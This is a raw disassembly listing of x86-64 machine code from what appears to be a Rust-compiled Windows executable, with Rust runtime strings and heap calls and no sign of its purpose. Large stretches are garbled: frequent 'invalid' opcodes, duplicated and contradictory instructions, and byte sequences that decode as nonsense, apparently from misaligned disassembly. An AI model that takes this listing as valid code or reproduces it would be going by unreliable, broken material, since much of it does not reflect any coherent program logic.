lea r8, [rcx + 0x18]
lea rcx, [0x140082180]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
push rsp
and al, 0x20
push rsp
and al, 0x20
lea rdx, str.NulErrorp
lea r9, [0x140082160]
or eax, 0x3a49d
add byte [rbp + rcx*4 + 0xd], cl
popfq
movsb byte [rdi], byte [rsi]
add eax, dword [rax]
or eax, 0x3a49d
mov rcx, rax
call fcn.14001de50
invalid
std
call qword [rax + 0x38c48348]
invalid
cmp bl, al
invalid
invalid
in al, dx
mov rsi, rdx
mov rax, qword [rcx]
mov r14, qword [rax + 8]
mov r15, qword [rax + 0x10]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1400830bb]
mov r8d, 1
mov eax, 1
mov eax, 1
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
and al, 0x30
sub byte [rax - 0x39cfdbbc], cl
and al, 0x31
add byte [rbp - 0x7b], cl
test r15, r15
je 0x140047d45
lea rsi, [0x14001a7ce]
and al, 0x30
mov byte [rsp + 0x31], 0
test r15, r15
je 0x140047d45
lea rsi, [0x14001a7ce]
xor eax, 0xfffd2ab2
lea rdi, [rsp + 0x28]
lea rbx, [rsp + 0x38]
invalid
jl 0x140047d44
sub byte [rax - 0x73], cl
pop rsp
and al, 0x38
invalid
cmp byte [rcx + rcx*4 + 0x74], cl
and al, 0x38
mov qword [rsp + 0x38], r14
inc r14
inc esi
mov rcx, rdi
mov rdx, rbx
fimul dword [rcx - 0x77]
invalid
call fcn.14001daa0
std
dec dword [rcx - 1]
iretd
jne 0x140047d26
fimul dword [rcx - 0x77]
invalid
std
dec dword [rcx - 1]
iretd
mov al, byte [rsp + 0x30]
and al, 0x30
xor byte [rcx + 0x75c08401], dh
mov cl, 1
test al, al
invalid
jne 0x140047d6a
invalid
add dword [rax + rax*8 - 0x74b7e08b], eax
and al, 0x28
invalid
sal byte [rbp + 0x1f], 0x48
mov eax, dword [rsp + 0x28]
invalid
invalid
mov rax, qword [rsp + 0x28]
sub byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x3b35d
pop rbp
mov bl, 3
add eax, dword [rax]
lea rdx, [0x1400830bc]
pop rbp
mov bl, 3
add eax, dword [rax]
mov r8d, 1
add eax, dword [rax]
mov r8d, 1
add bh, bh
call qword [rax + 0x18]
push rax
sbb byte [rcx + 0x48c889c1], cl
mov ecx, eax
mov eax, ecx
invalid
mov ecx, eax
mov eax, ecx
add rsp, 0x40
add esp, 0x40
enter 0xffffffffffff8348, 0xffffffffffffffc4
pop rbx
add esp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
ret
in al, dx
and byte [rax - 0x77], cl
invalid
or byte [r8 - 0x75], cl
push rsi
sbb byte [rax + 0x29], cl
sub edx, ecx
retf 0xc148
add eax, 0xfff0a9e8
dec dword [rax - 0x7d]
invalid
jle 0x140047da8
invalid
test eax, 0x48fffff0
invalid
cmp dword [rsi + 0x10], 0
adc byte [rax], al
add byte [rax + rbx + 0x4c], dh
mov eax, dword [rsi]
mov ecx, dword [0x14009e2b0]
add eax, 0x48d23100
ror byte [rax - 0x7d], cl
invalid
add esp, 0x20
and byte [rsi + 0x48], bl
jmp qword [sym.imp.kernel32.dll_HeapFree]
cmc
invalid
add al, 0
sub esp, 0x28
mov ebp, 0xcc00015a
add dword [rax], eax
add ah, cl
invalid
add al, 0
mov eax, dword [0x14009e328]
add eax, 0xe0d14800
add eax, 0xe0d14800
shl eax, 1
sal byte [rbp + 0x54], 0x31
push rsp
dec dword [rdx - 0x3f7bf7ba]
or byte [rax + rax*8 + 0x84850f], al
ror byte [rdi], 0x85
test byte [rax], al
add byte [rax], al
jle case.0x140012bf3.352
add byte [rbp + 0x2a], dh
sub cl, byte [rax - 0x73]
lea ebx, [rsi + 0x10]
pop rsi
adc byte [rbx + rcx*4 + 0x35], cl
or eax, 0x480004f2
add al, 0
mov rcx, rbx
xor eax, 0x4f20d
add al, 0
add al, 0
invalid
mov edx, esi
mov r8d, 0xffffffff
invalid
inc dword [rbp + 0x31]
leave
call rsi
or byte [rax + r8*8 + 0x7e802a75], r8b
or dword [rax], eax
jle case.0x140012bf3.358
add byte [rcx + riz*8 - 0x3a], dh
loope case.0x140012bf3.349
or dword [rax], r8d
or dword [rax], eax
int1
cli
add al, ch
adc dh, bl
add al, byte [rax]
mov dword [rax - 0x80], 0xa1eb01f7
xor bh, 1
lea eax, [rsp + 0x28]
and al, 0x28
sub byte [rcx - 0x77], cl
xor byte [rcx - 0x78], al
js 0x140047e5a
invalid
mov byte [rax + 8], bh
or byte [rax - 0x73], cl
add eax, 0x3a3bf
mov edi, 0x480003a3
movabs dword [0x4820244489480003], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
and byte [rax - 0x73], cl
or eax, 0x3e4ff
in al, 3
invalid
lea ecx, str.called__Result::unwrap____on_an__Err__value
in al, 3
add eax, dword [rax]
add byte [rbp + rcx*4 + 0xd], cl
invalid
lea ecx, [0x140082140]
movabs byte [0xe80000002bba0003], al
add eax, dword [rax]
sub eax, dword [rax]
add byte [rax], al
invalid
add al, ch
retf 0x2bc
add al, byte [rax]
lea eax, [rsp + 0x28]
and al, 0x28
mov byte [rax + 8], bh
js 0x140047e8a
ja case.0x14003f802.341
movabs dword [0x56415741ceeb0003], eax
add eax, dword [rax]
invalid
push rdi
push rsi
sub esp, 0x40
in al, dx
mov rsi, rcx
mov esi, ecx
cmp dword [rcx], 0
cmp dword [rax], eax
outsb dx, byte [rsi]
jle 0x140047eab
or byte [rax - 0x77], cl
stc
invalid
add al, 0
add byte [rax - 0x75], cl
mov eax, dword [0x14009e328]
add eax, 0x56475
jne case.0x1400212ac.274
add eax, 0xe0d14800
shl eax, 1
sal byte [rbp + 0x68], 0x31
fisttp dword [rdx - 0x3f7befba]
mov al, byte [rsi + 0x10]
test al, al
invalid
push 0x468adb31
adc byte [rax + rax*8 + 0xb1850f], al
ror byte [rdi], 0x85
mov cl, 0
add byte [rax], al
sub cl, byte [rbp + rcx*4 + 0x76]
sbb byte [rbx + rcx*4 + 0x3d], cl
invalid
invalid
invalid
invalid
lea esi, [rsi + 0x18]
jbe case.0x1400337d9.183
cmp eax, 0x4f137
int1
add al, 0
int1
mov edx, edi
cli
mov eax, 0xffffffff
invalid
inc dword [rbp + 0x31]
leave
call rdi
adc byte [rax + r8*8 + 0x7e805775], r8b
adc dword [rax], eax
invalid
jle 0x140047f06
add byte [rcx + riz*8 + 0x48], dh
loope case.0x1400337d9.186
mov ecx, edi
stc
fimul dword [rax - 0x7d]
invalid
add esp, 0x40
pop rbx
pop rsi
pop rdi
sbb eax, 0x8b480001
add byte [rax - 0x75], cl
or byte [rax - 0x7d], r9b
clc
add esi, dword [rbp + 0x18]
jne case.0x14001fcde.284
sbb byte [rax - 0x7d], cl
invalid
add esp, 0x40
pop rdi
sub dl, dh
add al, byte [rax]
add ebx, ebp
mov cs, word [rax - 0x7d]
invalid
invalid
invalid
or byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
invalid
invalid
mov ecx, edx
add rsp, 0x40
invalid
jrcxz 0x140047f4a
lea eax, [rsp + 0x30]
and al, 0x30
xor byte [rcx - 0x77], cl
cmp byte [rcx - 0x78], al
pop rax
add byte [rax - 0x77], cl
lea ecx, str.called__Result::unwrap____on_an__Err__value
or eax, 0x3e3fc
lea ecx, [0x140082140]
sub eax, dword [rax]
add al, byte [rax]
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x30
mov dword [rax], edi
lea eax, [0x140082230]
invalid
mov dword [rsp + 0x30], 0
add byte [rax - 0x75], cl
add eax, 0x56225
invalid
invalid
add eax, 0xf8834800
add byte [rax - 0x7d], cl
clc
add esi, dword [rbp + 0x3a]
cmp cl, byte [rax - 0x75]
mov ecx, dword [rsp + 0x38]
and al, 0x38
add byte [rax], al
int1
invalid
push rax
xor byte [rax - 0x73], cl
mov dword [rcx], eax
movabs dword [0x4820244489480003], eax
and byte [rax - 0x73], cl
je case.0x14002d585.168
add ecx, dword [rax - 0x73]
or eax, 0x45e16
invalid
add byte [rax + 0x63], cl
add al, 0x81
enter 0xffffffffffffe0ff, 0x41
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], cl
mov rax, r14
shr eax, 0x20
add byte [rax], al
sti
invalid
clc
jle 0x14004819b
cwde
adc byte [rcx], al
mov dword [rdx + 0x38], eax
mov dword [rdx + 0x48], eax
lea esi, [rsp + 0x38]
int1
add esi, dword [rbp + 0x37]
mov esi, dword [rsp + 0x40]
lea rcx, [rsp + 0x28]
and al, 0x28
imul edx, dword [rsi], 0x11e90000
invalid
invalid
invalid
call 0x168fd04e4
sub byte [rdi + 0x4d], dh
pop rbp
add al, 0
invalid
invalid
and al, 0x38
add byte [rax - 0x75], cl
invalid
add esi, dword [rdi + 6]
mov ecx, dword [rdi + 8]
or byte [rax - 0x7f], cl
invalid
clc
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
invalid
add eax, 0x389b4
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes_C_cSwX_mHG_oYe____C_Ee_Cg_s_______o_wE_____5____JfM__kAF_cULPa__G_1_xE2xp__E
lea r9, [0x140082120]
mov edx, 0x2f
add al, ch
invalid
movsb byte [rdi], byte [rsi]
add al, byte [rax]
add al, ch
invalid
mov ecx, 0x80
mov edx, 0x280
call fcn.140072100
mov ecx, 1
jmp 0x14004972c
mov rdx, rdi
call fcn.140072100
mov dword [rdx], eax
invalid
mov dword [rdx], eax
add ah, cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
add al, byte [rax]
int3
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x30], esi
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x30], esi
and rdx, 0xffffffffffffff80
mov rbx, rdx
mov rax, qword [rbx + 0xa0]
mov eax, dword [rbx + 0xa0]
mov eax, dword [rbx + 0xa0]
cmp qword [rax + 8], 0
or byte [rax], al
je case.0x14001264e.371
mov rax, qword [rbx + 0xa0]
cmp qword [rax + 0x10], 0x11
jb 0x14004978b
mov rax, qword [rbx + 0x98]
mov rax, qword [rax - 8]
clc
clc
mov qword [rbx + 0x98], rax
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, qword [rbx + 0x98]
call qword [sym.imp.kernel32.dll_HeapFree]
xlatb
add al, 0
xlatb
add al, 0
mov rcx, qword [0x14009e2b0]
xor edx, edx
mov r8, qword [rbx + 0xa8]
add byte [rax], al
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x30]
je 0x1400497df
invalid
je 0x1400497df
xor byte [rax - 0x7d], cl
invalid
add rsp, 0x48
add esp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
sub esp, 0x48
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x30], xmm6
and rdx, 0xffffffffffffff80
and edx, 0xffffff80
and edx, 0xffffff80
mov rbx, rdx
lea rdx, [0x1400820c0]
invalid
mov byte [rbx], al
add byte [rax - 0x75], cl
mov edx, dword [rax - 0x18000000]
cwde
xor byte [rcx], al
add byte [rdi], cl
sub byte [rsp + 0x30], dh
invalid
cwde
xor byte [rcx], al
add byte [rdi], cl
sub byte [rsp + 0x30], dh
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
clc
add esi, dword [rbp + 0x13]
mov rax, qword [rcx + 8]
lock dec qword [rax]
or r8b, sil
dec qword [rax]
jne case.0x140012bf3.365
mov rcx, qword [rcx + 8]
jmp fcn.140046cad
invalid
invalid
invalid
invalid
add ebx, eax
ret
mov rcx, qword [rcx + 8]
jmp fcn.14002401a
add dword [rax], eax
add byte [rbp + 0x51], dh
nop
add dword [rax], eax
add byte [rax - 0x7b], cl
test eax, eax
je case.0x1400212ac.286
mov rbx, qword [rsi + 0x188]
test eax, eax
add byte [rax], al
cmp r14d, dword [rax]
cmp eax, 2
mov ebx, 0x49ffffdf
add edi, 0x48
cmp esi, edi
invalid
add byte [rax], al
add bl, ch
add eax, 0xffe6b1e8
mov cl, 0xe6
invalid
dec dword [rax - 0x75]
jmp 0x1400498dd
mov cl, 0xe6
invalid
mov rax, qword [rax]
lock inc qword [rax]
add al, dh
inc qword [rax]
jle 0x1400498eb
add rsp, 0x28
ret
sub bl, al
ud2
or eax, dword [rcx + 0x57]
push rsi
lea ecx, [0x140001abd]
mov bl, 0x81
sti
invalid
cwde
loopne 0x14004990d
invalid
dec dword [rax - 0x7b]
sal byte [rbx + rdx + 0x48], 0x89
mov rbx, rax
add byte [rax], al
call 0x1303de5a5
or byte [rcx + rdi - 0x10], 0x74
sbb ecx, dword [rcx + rcx*4 - 0xf]
mov rcx, r14
invalid
pop rsp
sbb byte [rcx], al
add byte [rax], al
or byte [rcx], al
add dword [rax], eax
add byte [rbx + rcx*4 - 0x48], cl
or byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
mov eax, 0x108
add byte [rax - 0x75], cl
add byte [rax], 1
add dword [rax], eax
invalid
mov ecx, edi
add byte [rax], al
cli
sbb dword [rax], 1
add byte [rax], al
or byte [rcx], al
add byte [rax], al
add dword [rax], eax
ror byte [rax + 0x25], 1
invalid
test esi, esi
adc byte [rcx], ch
ret 0x8548
pop rsp
mov ecx, ebx
add byte [rax - 0x7d], cl
invalid
add esp, 0x28
int 2
add byte [rcx + 0x57], al
push rdi
push rbp
sub esp, 0x28
add dword [rbx + rcx*4 - 0x5f], ecx
add byte [rax], 0
add byte [rcx + 0x31], cl
invalid
add byte [rax], 0
add byte [rax - 0x75], cl
mov ecx, 0x88
xchg esp, eax
invalid
invalid
add dword [rax], eax
add byte [rax], al
bnd jmp 0x140049ab3
invalid
mov edi, dword [rsi + 0x80]
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x75], cl
mov esi, 0x88
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
rol byte [rbx + 0x47753ef9], 0x4d
test esi, esi
invalid
test r14, r14
add rax, 0x5f0ba00
add byte [rdx + 0x5f0], bh
invalid
add byte [rax], al
test eax, eax
mov esi, eax
add byte [rax - 0x77], cl
add cl, byte [rcx + rcx*4 - 8]
lea edx, [rdi + 2]
xchg esi, eax
add byte [rax], 0
add byte [rax], al
add byte [rax], al
invalid
mov edi, dword [rsi + 0x88]
invalid
ret 0xead3
hlt
add cl, ch
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x37], cl
mov dword [rdi], esi
lahf
fadd dword [0xcb4c9b76]
and al, 0x20
invalid
add byte [rax], al
mov eax, dword [rsp + 0x20]
loopne 0x140049b83
add byte [rax], al
invalid
mov dword [rdi + rax*8 + 8], ebx
and al, 0x20
invalid
sbb byte [rcx], al
adc eax, 0x4d2ec
in al, dx
rol byte [rax + rax], cl
add byte [rax], al
add byte [rax], al
adc dword [rdx - 0x73], ecx
adc al, 0
invalid
cmpxchg dword [rsi + 0x178], edx
mov eax, edx
ror byte [rax + 0x25], 1
inc dword [rax]
add byte [rax + rdx + 0x49], dh
cmp esp, 1
invalid
sbb eax, ecx
invalid
pop rsi
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
pop rsp
add byte [rdx + 0x5f0], bh
add al, ch
mov ecx, 0xcc000284
add dword [rax], eax
add byte [rbp + rax + 0x48], dh
add esp, 0x58
lea eax, str.X_b_
xchg dword [rbx], eax
add eax, dword [rax]
add byte [rax - 0x73], cl
and al, 0x28
invalid
add byte [rax], al
add al, 0
adc byte [rdi], cl
std
xchg byte [rbx], al
add al, ch
invalid
add al, byte [rax]
add dword [rax - 0x75], ecx
or byte [rbp + rcx*4 + 5], cl
add eax, 0x44332
invalid
invalid
add eax, 0x44332
add ecx, eax
sar edi, 0xe1
add eax, 8
add byte [rax - 0x77], cl
and al, 0x20
invalid
add byte [rax], al
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
add rax, 8
and al, 0x30
add byte [rax - 0x77], cl
and byte [rax - 0x73], cl
add eax, 0x38a1f
mov al, byte [rbx]
invalid
mov al, byte [rbx]
add byte [rcx - 0x48], al
or dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov ecx, edx
call qword [rax + 0x38c48348]
add esp, 0x38
mov ecx, dword [rdx + 0x20]
mov eax, dword [rdx + 0x28]
add esp, 0x38
cmp byte [rax - 1], cl
loopne case.default.0x140049d6a
sub esp, 0x48
mov rax, qword [rcx]
mov ecx, dword [rax]
add ecx, 0xfffffffe
sar esi, 0x83
stc
add al, 0x41
mov eax, 1
add byte [rax], al
sar esi, 0x83
stc
add dword [rdx + 4], 0x4634e00
or dword [rcx + 1], 0xe0ff41c8
jmp r8
invalid
add bl, ch
and al, 0x40
add eax, dword [rax]
mov dword [rsp + 0x28], ecx
and al, 0x20
cmp eax, 0x2cebfffd
and al, 0x20
add eax, 0x38880
mov rcx, qword [rcx]
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x40], 8
add byte [rax - 0x73], cl
or eax, 0x3a483
add byte [rcx - 0x48], al
add eax, 0x48000000
mov ecx, eax
mov dh, 1
and al, 0x48
and al, 0x28
mov dword [rsp + 0x20], 0xc
add byte [rcx - 0x48], al
or al, byte [rax]
insd dword [rdi], dx
inc ecx
mov byte [rbx], al
add byte [rax - 0x77], cl
and al, 0x30
lea edx, [0x140082834]
sbb ecx, dword [rax - 0x47befffd]
or al, 0
add byte [rax], al
lea ecx, [0x1400826c6]
ror dword [rax], 0x4c
lea ecx, [rsp + 0x60]
and al, 0x40
mov esi, dword [rax + rsi*8]
invalid
scasb al, byte [rdi]
invalid
inc edi
inc dword [rdx]
invalid
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rcx + rcx*4 + 0x78], cl
or byte [rcx + rcx*4 + 0x60], cl
adc byte [rax - 0x77], cl
pop rax
sbb byte [rax + 0x13], bh
add byte [rax], al
add byte [rax], al
add byte ds:[rsp + rdx + 0x4c], dh
mov eax, dword [rsp + 0x48]
push rbp
test al, 4
add byte [rax - 0x7d], cl
mov esp, 0xa824
add byte [0xcb50ddd2], al
invalid
add byte [rax], al
add eax, 0x8b4c1772
invalid
mov eax, dword [rsp + 0x90]
test byte [rax + rdx*4], ah
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
or eax, 0x51c43
xor ebp, dword [rax - 0x7cb7fffc]
mov esp, 0x2c824
add byte [rax], al
add eax, 0x8b4c1772
invalid
add byte [rax], al
add eax, 0x8b4c1772
invalid
mov eax, dword [rsp + 0x2b0]
test byte [rax + rsi*4], ah
add al, byte [rax]
add byte [rax - 0x75], cl
or eax, 0x51c21
add ecx, dword [rax - 9]
fmul dword [rdx - 0x73]
adc al, 0xfa
ror byte [rdi], 0x84
cli
invalid
invalid
mov edx, esi
outsd dx, dword [rsi]
add al, byte [rax]
or eax, dword [rbx + 3]
add byte [rax - 0x75], cl
invalid
invalid
xchg esp, eax
and al, 0x58
pop rax
pop rax
add dword [rax], eax
add al, ch
jle 0x14004c79f
add byte [rax], al
add al, byte [rax]
int1
add eax, 0x34106
add eax, dword [r8]
add ah, cl
int3
mov edi, dword [rdx + 0x10]
add byte [rax - 0x77], cl
xlatb
add byte [rax - 0x77], cl
and al, 0x20
cmp byte [rdx + rcx], cl
add byte [rax], al
add byte [rax - 0x7d], cl
clc
add dword [rdi], ecx
test eax, edi
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 1], cl
iretd
add eax, dword [rax]
nop dword cs:[rax + rax]
add byte [rax], al
invalid
adc al, 0x4c
mov dword [rdi + 0x10], esp
int3
mov rax, rdx
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rax
call fcn.14001dbd0
nop
add rsp, 0x48
add esp, 0x48
mov edx, eax
add al, 0
add byte [rdx - 0x80], al
cmp al, 9
pop rdi
add eax, 3
and al, 0x31
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x70], eax
add al, 0xf
test esi, esp
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x36285
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js case.0x140012bf3.414
inc rcx
cmp r12, 0x80
add byte [rax], al
add byte [rax], al
jne 0x14004d7b0
jmp 0x14004dba8
mov r8d, edx
and r8d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x14004d76f
movzx r9d, byte [rcx + 2]
shl esi, 6
and r9d, 0x3f
or r9d, esi
cmp r11b, 0xf0
jb 0x14004d78b
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x14004d7f4
add rcx, 4
cmp r12, 0x80
jne 0x14004d7b0
jmp 0x14004dba8
add rcx, 2
shl r8d, 6
or r8d, esi
mov edx, r8d
ret 0x8149
cld
add byte [rax], 0
add byte [rbp + 0x2a], dh
ret 0x8149
jmp 0x14004dba8
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp r12, 0x80
je 0x14004dba8
nop word cs:[rax + rax]
mov dword [rsp + r12*4 + 0x98], edx
inc r12
cmp rcx, rax
jne 0x14004d6e0
jmp 0x14004d7f4
mov rax, qword [rsp + 0x70]
mov r15, qword [rsp + 0x60]
add rax, r15
mov qword [rsp + 0x78], rax
lea rax, [r12 - 1]
mov qword [rsp + 0x80], rax
lea rax, [r12*4 + 4]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
lea rbp, [rsp + r12*4]
add rbp, 0x98
mov rax, r12
mov eax, esp
mov eax, esp
neg rax
mov qword [rsp + 0x58], rax
mov rax, r12
not rax
mov qword [rsp + 0x50], rax
lea rax, [r12 + 1]
mov qword [rsp + 0x28], rax
mov eax, 0x2bc
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
mov r13d, 0x48
mov ebx, 0x80
mov r8d, 0x1a
movabs rsi, 0xea0ea0ea0ea0ea0f
movabs al, byte [0x24448948c031ea0e]
cmp byte [rcx], dh
leave
movabs al, byte [0x24448948c031ea0e]
cmp byte [rcx], dh
leave
sbb al, byte [rax]
add byte [rax], al
add byte [rcx + 0xf], cl
rol byte [r9 - 0x73], 0x52
lahf
add byte [rax], al
enter 0x948, 0xfffffffffffffff8
test byte [rbp + 0x48000000], dh
mov eax, ecx
add byte [rax], al
add byte [rax - 0x77], cl
enter 0xffffffffffffd231, 0x48
div edi
inc byte [rcx]
cmovae esi, ebx
movzx eax, byte [rdi]
push rax
lahf
rol byte [rax - 0x78f0f606], 1
push rbp
mov eax, edx
add eax, eax
invalid
invalid
mov eax, ecx
add al, byte [rax]
add byte [rcx - 0x82dce38], cl
test dword [rcx - 0x77], 0xc30148d1
add dword [rax], eax
add byte [rax + rax*8 + 0x1e8850f], al
add byte [rax], al
add byte [rax], al
adc dword [rax], eax
fadd qword [rcx]
add byte [rax], al
add byte [0x14004d1d8], al
add byte [rcx - 0x7d], cl
cld
jg 0x14004d9f7
xchg dword [rbx + 0x4d000001], edi
cmp esp, ecx
enter 0x3a8, 0x4c
mov ebx, dword [rsp + 0x38]
and al, 0x38
and al, 0x38
or eax, edx
bnd jmp 0x14004da3e
add byte [rbx + rcx*4 + 0x5c], cl
and al, 0x38
and al, 0x50
add ecx, eax
ror byte [rdi], 0x1f
add byte [rax], 0
add byte [rax], al
test esp, edi
push rsp
test dword [rax], eax
add ecx, dword [rax + 1]
ret 0xe575
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx + rax - 0x28], cl
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
adc byte [rsp + riz*4 + 0x88], al
mov dh, 0x17
sal byte [rcx], 0xd2
je 0x14004db0a
xor byte [rcx - 0x77], al
ror byte [rbx + rcx*4 + 0x64], 0x24
sub byte [rcx + rcx*4 - 0x40], cl
clc
sal byte [rcx], 0xd2
ror dword [rcx + rax - 0x3f], 0x45
xor esi, esi
add byte [rdx + 0x2d], dh
nop word cs:[rax + rax]
ror byte [rax - 9], 0xe6
out 0x48, al
mov ecx, edx
cmp eax, 0x3e57
add byte ds:[rax], al
add byte [rax], al
push rdx
add eax, dword [rax]
lea esi, [rsp + 0x44]
invalid
add byte [rax], al
add byte [rcx], dh
shr bl, 0x14
or byte [rax - 0x75], cl
pop rsi
adc byte [rcx + rdi - 0x1d], cl
add byte [rax], al
sbb byte [0x14004df56], bh
movzx eax, dh
sub eax, 0x48000403
invalid
add eax, dword [rax + rax]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x425850f], eax
add byte [rax], al
inc byte [rcx + 0x75]
cmp byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
lea edx, [0x1400830db]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
test byte [rbx + rax - 0x72b80000], dh
adc eax, 0x3527a
push rdx
add eax, dword [rax]
add byte [rax], al
add dword [rax], eax
add byte [rax], al
pop rbp
lea edx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
in al, 0xd7
xlatb
cld
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x36f850f], eax
outsd dx, dword [rsi]
add eax, dword [rax]
invalid
outsd dx, dword [rsi]
add eax, dword [rax]
add byte [rax - 0x39], cl
invalid
invalid
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
push rdx
add eax, dword [rax]
add byte [rax], al
add al, ch
scasb al, byte [rdi]
xlatb
cld
inc dword [rax - 0x49]
mov bh, 1
test al, al
invalid
test dword [rcx], edi
cmp dword [rbx], eax
mov bh, 1
cmp dword [rbx], eax
add byte [rax], al
add byte [rax], al
add dh, al
or byte [rcx], r8b
leave
ret 0x8d4c
lea eax, [0x140083270]
mov eax, dword [rax + rax*8]
invalid
test dl, bl
add al, byte [rax]
add byte [rax], al
adc eax, 0x351b2
mov dl, 0x51
add eax, dword [rax]
invalid
mov bh, 1
add byte [rbp + 0x39], cl
in eax, 0xf
add dword [rdi + 2], 0
add r8b, byte [r8]
add r8b, byte [r8]
add al, byte [rax]
add byte [rbx - 0x80], al
cmp al, 0x2f
jne 0x14004e1a4
test dword [rdx + rax], edi
add byte [rax], al
cmp byte [rdi + rbp], 0x4c
test dword [rdx + rax], edi
add byte [rax], al
add ebx, 2
add cl, byte [rax - 0x77]
pop rsi
adc byte [rax - 0x73], cl
and al, 0x20
and al, 0x20
and al, 0x20
and byte [rax - 0x77], cl
bnd call fcn.140050970
sub dword [rax], eax
add byte [rax + 0x20247c], al
test ah, ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x5c
and al, 0x21
in al, 1
add byte [rax], al
fisttp dword [rdi]
test byte [rdi + 2], bl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x350ef
out dx, eax
push rax
add eax, dword [rax]
lea edx, [0x140083098]
out dx, eax
push rax
add eax, dword [rax]
push rsi
add al, byte [rax]
add byte [rax], al
add byte [rax], al
mov bh, 1
mov esi, 0x4000002a
mov bh, 1
sub al, byte [rax]
add byte [rax - 0x49], al
mov dil, 1
test al, al
jne 0x14004e1e6
mov ecx, dword [rsi]
adc byte [rax + 0x3b], r9b
or byte [rdi], r9b
sbb dword [rcx + rax], 0
add byte [rax + 0xf4c013c], al
test dword [rdx], edx
add dword [rax], eax
add byte [rax - 1], cl
cmp eax, dword [rsi + 8]
and byte [rax - 0x77], cl
bnd call fcn.140050970
test dword [rax], edi
invalid
jge 0x14004e05d
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
test ecx, ecx
adc eax, 0x35073
jae 0x14004e0bc
add eax, dword [rax]
ror byte [rdi], 0x85
add byte [rax - 0x77], cl
mov ecx, dword [rsi + 0x20]
and byte [rax - 0x7b], r9b
leave
mov eax, 1
add dword [rax], eax
add byte [rax], al
test dword [rdx], esp
add dword [rax], eax
add byte [rax - 0x77], cl
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov eax, 0x10
std
or dword [rax], eax
add byte [rax - 0x49], al
mov dil, 1
test al, al
jne 0x14004e1e6
mov rcx, qword [rsi + 0x20]
invalid
invalid
adc eax, 0x34f17
add r8, qword [r8]
ret 0xcccc
int3
add byte [rbp + 0x31], al
test byte [rax - 0x75], 0x4f
adc byte [rax + 0x3b], cl
or byte [r11 + 6], r14b
xor esi, esi
cmp al, 8
je 0x14004e2a2
mov ecx, dword [rdi + 0x20]
rcl ebx, cl
cld
add byte [rax + rax*8 - 0x74b7f18b], al
invalid
mov dword [rdi + 0x10], ecx
